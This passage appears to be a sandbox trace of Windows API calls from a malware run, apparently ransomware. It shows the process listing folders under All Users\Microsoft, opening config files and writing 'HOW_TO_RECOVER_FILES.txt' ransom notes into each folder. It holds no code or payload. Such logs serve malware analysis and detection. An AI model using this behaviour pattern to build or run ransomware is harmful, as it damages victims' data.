lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0136.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.786] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a67ef0 | out: lpFileInformation=0x3a67ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64)) returned 1 [0136.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.786] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0136.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.786] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0136.788] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x5b [0136.789] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0136.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e9659, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0136.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0136.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0136.789] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0136.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0136.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0136.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0136.790] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x5b [0136.790] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0136.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.871] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e9659, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0137.468] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0137.470] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0137.471] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0137.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0137.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0137.509] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x10f8c20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0137.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f90f0) returned 1 [0137.509] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), fInfoLevelId=0x0, lpFileInformation=0x38c5210 | out: lpFileInformation=0x38c5210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8)) returned 1 [0137.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f90b0) returned 1 [0137.510] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x10f8a80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0137.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8fa0) returned 1 [0137.510] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0137.510] GetFileType (hFile=0x644) returned 0x1 [0137.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8f10) returned 1 [0137.510] GetFileType (hFile=0x644) returned 0x1 [0137.510] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x10f9148 | out: lpFileSizeHigh=0x10f9148*=0x0) returned 0x5e8 [0137.510] ReadFile (in: hFile=0x644, lpBuffer=0x38c5b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9078, lpOverlapped=0x0 | out: lpBuffer=0x38c5b30*, lpNumberOfBytesRead=0x10f9078*=0x5e8, lpOverlapped=0x0) returned 1 [0137.510] CloseHandle (hObject=0x644) returned 1 [0137.617] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x10f8a80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0137.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8fa0) returned 1 [0137.617] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f5990) returned 1 [0137.620] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0137.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0137.620] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0137.621] GetFileType (hFile=0x644) returned 0x1 [0137.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0137.621] GetFileType (hFile=0x644) returned 0x1 [0137.622] WriteFile (in: hFile=0x644, lpBuffer=0x3942990*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x3942990*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0137.623] CloseHandle (hObject=0x644) returned 1 [0137.623] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0137.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0137.623] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0137.624] GetFileType (hFile=0x644) returned 0x1 [0137.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0137.624] GetFileType (hFile=0x644) returned 0x1 [0137.625] WriteFile (in: hFile=0x644, lpBuffer=0x3946298*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x3946298*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0137.625] CloseHandle (hObject=0x644) returned 1 [0137.626] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0137.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0137.626] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0137.627] GetFileType (hFile=0x644) returned 0x1 [0137.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0137.627] GetFileType (hFile=0x644) returned 0x1 [0137.627] WriteFile (in: hFile=0x644, lpBuffer=0x3949b00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3949b00*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0137.628] CloseHandle (hObject=0x644) returned 1 [0137.628] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x42 [0137.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0137.628] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0137.629] GetFileType (hFile=0x644) returned 0x1 [0137.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0137.629] GetFileType (hFile=0x644) returned 0x1 [0137.630] WriteFile (in: hFile=0x644, lpBuffer=0x394d358*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x394d358*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0137.631] CloseHandle (hObject=0x644) returned 1 [0137.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0137.631] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x27 [0137.631] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0137.631] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.632] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e9659, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37a0f710, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0137.632] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0137.632] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0137.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0137.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0137.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0137.632] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x27 [0137.632] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0137.632] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.633] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e9659, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37a0f710, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0137.633] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e9659, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37a0f710, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0137.633] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0137.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0137.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0137.633] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0137.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0137.633] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0137.803] GetFileType (hFile=0x6e4) returned 0x1 [0137.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0137.803] GetFileType (hFile=0x6e4) returned 0x1 [0137.804] WriteFile (in: hFile=0x6e4, lpBuffer=0x38bffa8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x38bffa8*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0137.805] CloseHandle (hObject=0x6e4) returned 1 [0137.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0137.805] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis", lpFilePart=0x0) returned 0x26 [0137.805] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\*", 